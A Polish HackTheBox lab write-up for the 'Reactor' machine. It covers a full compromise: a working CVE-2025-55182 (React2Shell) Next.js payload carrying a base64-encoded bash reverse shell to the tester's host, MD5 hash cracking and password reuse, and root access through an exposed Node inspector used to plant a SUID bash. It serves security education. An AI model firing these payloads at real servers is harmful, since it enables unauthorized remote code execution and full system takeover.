[PL] HackTheBox - Reactor
September 28, 2026
Rekonesans
Nmap
Jak zawsze zaczynamy od skanu nmapem, który pokazuje nam jedynie 2 otwarte porty:
- SSH (port 22)
- HTTP, na którym nasłuchuje aplikacja napisana w
NextJs(port 3000)
rvr@rvr$ nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.245.214
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-25 17:16 CEST
Nmap scan report for 10.129.245.214
Host is up (1.2s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 2219.22 seconds
rvr@rvr$ nmap -sCV -p22,3000 10.129.245.214
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-25 18:50 CEST
Nmap scan report for 10.129.245.214
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Fri, 25 Sep 2026 16:50:55 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Fri, 25 Sep 2026 16:50:55 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Fri, 25 Sep 2026 16:50:56 GMT
|_ Connection: close
...[snip]...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.17 secondsNa ten moment pomijam port 22, gdyż ssh bez danych uwierzytelniających rzadko kiedy jest pierwszym punktem wejścia (ang. initial access) do systemu. Jeśli będzie taka potrzeba, wrócimy do niego później.
Wappalyzer
Wtyczka wappalyzer dokładnie pokazuje użyte technologie:
Na tym etapie moglibyśmy przeprowadzić fuzzing zasobów dostępnych w aplikacji przy pomocy narzędzi takich jak gobuster czy ffuf. Nie ma jednak takiej potrzeby, gdyż ta wersja NextJs (15.0.3) podatna jest na CVE-2025-55182 - React2Shell o poziomie krytyczności równym 10/10, czyli gorzej się już nie da 😅
CVE-2025-55182 - React2Shell
Eksploit wygląda nieco skomplikowanie. Zainteresowanych szczegółami zachęcam do przeczytania tego artykułu. W skrócie, potrzebujemy wysłać żądanie POST z nagłówkiem Content-Type: multipart/form-data (czyli w sposób w jaki najczęściej przesyła się pliki na serwer) oraz Next-Action, którego wartość w zasadzie może być dowolna, ale musi być zdefiniowana w żądaniu. Pełne zapytanie wygląda następująco:
POST / HTTP/1.1
Host: 10.129.139.28:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 765
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTE0Lzk5OTkgMD4mMSAg|base64 -d|bash').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--Właściwy payload widoczny w ciele żądania to zserializowane dane, które są przesyłane na serwer w postaci niewielkich fragmentów zwanych chunkami i tam deserializowane (w naszym payloadzie chunkami są dane w trzech przesłanych parametrach: 0, 1, 2).
Każdy z chunków może odwołać się do innych poprzez referencję $<id>, a więc $1:__proto__:then to odwołanie do wartości $@0 z chunka 1. $@0 to również odwołanie do chunka (tj. chunka 0), ale w formie surowej (raw chunk), czyli jako obiektu, a nie finalnej wartości, która kryje się pod taką zmienną. Świadczy o tym znak @. React Server Components wykorzystuje ten zapis by móc przekazać dane, które powinny wykonać się później. To wszystko daje możliwość odwołania się do prototypu obiektu, a w konsekwencji dotarcie do funkcji then wywoływanej podczas wykonania asynchronicznego kodu, dzięki której możliwe jest uruchomienie kodu od atakującego.
Właściwości status: "resolved_model" i reason: -1 występują tu wyłącznie dlatego, by wymusić przejście do podatnego miejsca w kodzie React Server Components, gdzie deserializowane są dane pochodzące od użytkownika. Co ciekawe, podatna funkcja deserializuje dane dwukrotnie, najpierw z pola value (gdzie $B<id> oznacza blob danych), a następnie z pola _response._prefix. Jego zawartość przekazywana jest do konstruktora Function uzyskanemu dzięki { "get": "$1:constructor:constructor" } i uruchamianego, gdy interpreter ma do czynienia właśnie z typem blob.
Fragment
process.mainModule.require('child_process')
.execSync('echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTE0Lzk5OTkgMD4mMSAg|base64 -d|bash')znajdujący się w polu _response._prefix, to typowy sposób na wykonanie w nodejs dowolnego kodu powłoki systemowej. Tu oczywiście będzie nim reverse shell w bashu dodatkowo zakodowany w base64 (aby nieco ograniczyć przestrzeń znaków i nie musieć walczyć z escapowaniem ", czy ', których w tym całym payloadzie i tak już jest bardzo dużo). Pominę część throw Object, gdyż jest to jedynie fragment mający na celu przekierowanie wyniku wykonanej komendy do odpowiedzi HTTP żądania z payloadem. Bez tego fragmentu kod i tak się wykona, nie zobaczymy po prostu jego rezultatu.
Shell jako node
Po uzyskaniu rev shella, lądujemy na serwerze jako użytkownik node w katalogu /opt/reactor-app. Nie musimy daleko szukać, gdyż w oczy od razu rzuca się baza danych sqlite: reactor.db.
node@reactor:/opt/reactor-app$ ls -la
ls -la
total 76
drwxr-xr-x 5 node node 4096 Dec 28 2025 .
drwxr-xr-x 4 root root 4096 Apr 27 11:26 ..
drwxr-xr-x 2 node node 4096 Dec 28 2025 app
-rw-r--r-- 1 node node 276 Dec 28 2025 .env
drwxr-xr-x 7 node node 4096 Dec 28 2025 .next
-rw-r--r-- 1 node node 172 Dec 28 2025 next.config.js
drwxr-xr-x 30 node node 4096 Dec 28 2025 node_modules
-rw-r--r-- 1 node node 269 Dec 28 2025 package.json
-rw-r--r-- 1 node node 29329 Dec 28 2025 package-lock.json
-rw-r----- 1 node node 12288 Dec 28 2025 reactor.db
node@reactor:/opt/reactor-app$ file reactor.db
reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7A w niej m.in. tabela users:
node@reactor:/opt/reactor-app$ sqlite3 reactor.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs users
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|[email protected]Hashe to skróty funkcji md5. Drugi z nich znajduje się w bazie danych serwisu crackstation. Właściwe hasło odpowiadające skrótowi to reactor1.
Hasło pasuje do użytkownika engineer - zarówno do ssh, jak i konto shellowego. Możemy teraz odczytać flagę w user.txt:
engineer@reactor:~$ cat ~/user.txt
71682da**************************Shell jako engineer
Enumeracja odsłania interesujący proces:
engineer@reactor:~$ ps aux --forest
...[snip]...
root 1378 0.0 1.2 1066908 48112 ? Ssl 13:30 0:01 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
root 1404 0.0 0.0 6104 1988 tty1 Ss+ 13:30 0:00 /sbin/agetty -o -p -- \u --noclear - linux
root 1705 0.0 1.0 479360 42968 ? Ssl 14:13 0:01 /usr/libexec/fwupd/fwupd
root 1712 0.0 0.2 314004 8968 ? Ssl 14:13 0:00 /usr/libexec/upowerd
root 2220 0.0 0.2 12024 8236 ? Ss 18:27 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 2221 0.0 0.2 14968 10556 ? Ss 18:27 0:00 \_ sshd: engineer [priv]
engineer 2244 0.0 0.1 14968 7096 ? S 18:28 0:00 \_ sshd: engineer@pts/1
engineer 2245 0.0 0.1 9028 5816 pts/1 Ss 18:28 0:00 \_ -bash
engineer 2266 150 0.1 11320 4424 pts/1 R+ 18:29 0:00 \_ ps aux --forest
engineer 2227 0.1 0.2 20176 11216 ? Ss 18:28 0:00 /usr/lib/systemd/systemd --user
engineer 2229 0.0 0.0 21160 3568 ? S 18:28 0:00 \_ (sd-pam)
...[snip]...Zawartość pliku worker.js:
const http = require('http');
const fs = require('fs');
const TARGET_URL = 'http://127.0.0.1:3000/';
const CSV_FILE = '/var/log/uptime-monitor.csv';
const INTERVAL_MS = 30_000;
const TIMEOUT_MS = 10_000;
function csvEscape(value) {
const s = String(value ?? '');
return /[",\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}
function record({ status, latency, size, error }) {
const row = [
new Date().toISOString(),
status ?? '',
latency ?? '',
size ?? '',
error ?? '',
]
.map(csvEscape)
.join(',') + '\n';
fs.appendFileSync(CSV_FILE, row);
}
function probe() {
const start = process.hrtime.bigint();
let bytes = 0;
const req = http.get(TARGET_URL, { timeout: TIMEOUT_MS }, (res) => {
res.on('data', (chunk) => {
bytes += chunk.length;
});
res.on('end', () => {
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
record({
status: res.statusCode,
latency: latencyMs,
size: bytes,
});
});
});
req.on('error', (error) => {
const latencyMs = Number(
(process.hrtime.bigint() - start) / 1_000_000n
);
record({
latency: latencyMs,
error: error.code || error.message,
});
});
req.on('timeout', () => {
req.destroy();
record({
latency: TIMEOUT_MS,
error: 'TIMEOUT',
});
});
}
setInterval(probe, INTERVAL_MS);
probe();
console.log('uptime-monitor up, pid=' + process.pid);Tak naprawdę kod worker.js nie jest dla nas istotny. Dużo większe znaczenie ma to jak uruchomiony został node, tj. z flagą --inspect=127.0.0.1:9229. Oznacza to, że taki proces nasłuchuje na porcie 9229 oczekując połączenia od debuggera, którym może być np. przeglądarka i jej narzędzia deweloperskie.
Jak możemy zauważyć powyżej (na wyniku komendy ps aux --forest), proces ten uruchomiony jest z uprawnieniami roota, a więc podpięty debugger również działał będzie z tymi uprawnieniami. A co równie istotne, będzie miał dostęp także do środowiska nodejs. Dokumentacja node informuje o takim niebezpieczeństwie w swojej dokumentacji.
Shell jako root
Aby wykorzystać taką konfigurację, potrzebujemy przekierować lokalny port atakowanej maszyny do siebie, np. przy pomocy ssh:
rvr@rvr$ ssh -L 9229:127.0.0.1:9229 [email protected]
[email protected]'s password:
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
...rvr@rvr$ ss -lnpt | grep 9229
LISTEN 0 128 127.0.0.1:9229 0.0.0.0:* users:(("ssh",pid=3297951,fd=5))
LISTEN 0 128 [::1]:9229 [::]:* users:(("ssh",pid=3297951,fd=4))W pasku url chrome/chromium przechodzimy do chrome://inspect. W polu Remote Target powinniśmy zauważyć proces, z którym się połączyliśmy debuggerem:
Po kliknięciu inspect otrzymujemy dostęp do narzędzi deweloperskich. uptime-monitor up, pid=1396 dowodzi, że rzeczywiście połączyliśmy się z worker.js, gdyż wykonany został console.log z ostatniej linii tego pliku.
Jak w takim razie wykonać kod w tym środowisku? Wystarczy wykorzystać wbudowaną w narzędzia DevTools konsolę i uruchomić podobny, co w podatności react2shell, kod nodejs, tj. process.mainModule.require('child_process').execSync('<COMMAND>'). Dla przykładu komenda id:
W zasadzie mamy już dostęp do shella jako root. Żeby jednak mieć nieco wygodniej i wpisywać komendy wprost do terminala, możemy zastosować podejście identyczne, jak w poprzednim moim writeupie. Najpierw kopiujemy plik basha, a następnie ustawimy mu flagę suid, dzięki której uruchomimy basha jako właściciel pliku, czyli root. Cały payload wygląda następująco:
process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/basher; chmod +s /tmp/basher').toString()
W terminalu z aktywną sesją użytkownika engineer:
engineer@reactor:~$ ls -la /tmp/
total 1476
...[snip]...
drwxrwxrwt 2 root root 4096 Sep 25 18:09 .font-unix
-rwsr-sr-x 1 root root 1446024 Sep 25 19:55 basher
...[snip]...
engineer@reactor:~$ /tmp/basher -p
basher-5.2# id
uid=1000(engineer) gid=1000(engineer) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd),1000(engineer)Możemy teraz odczytać flagę root.txt:
basher-5.2# cat /root/root.txt
730701**************************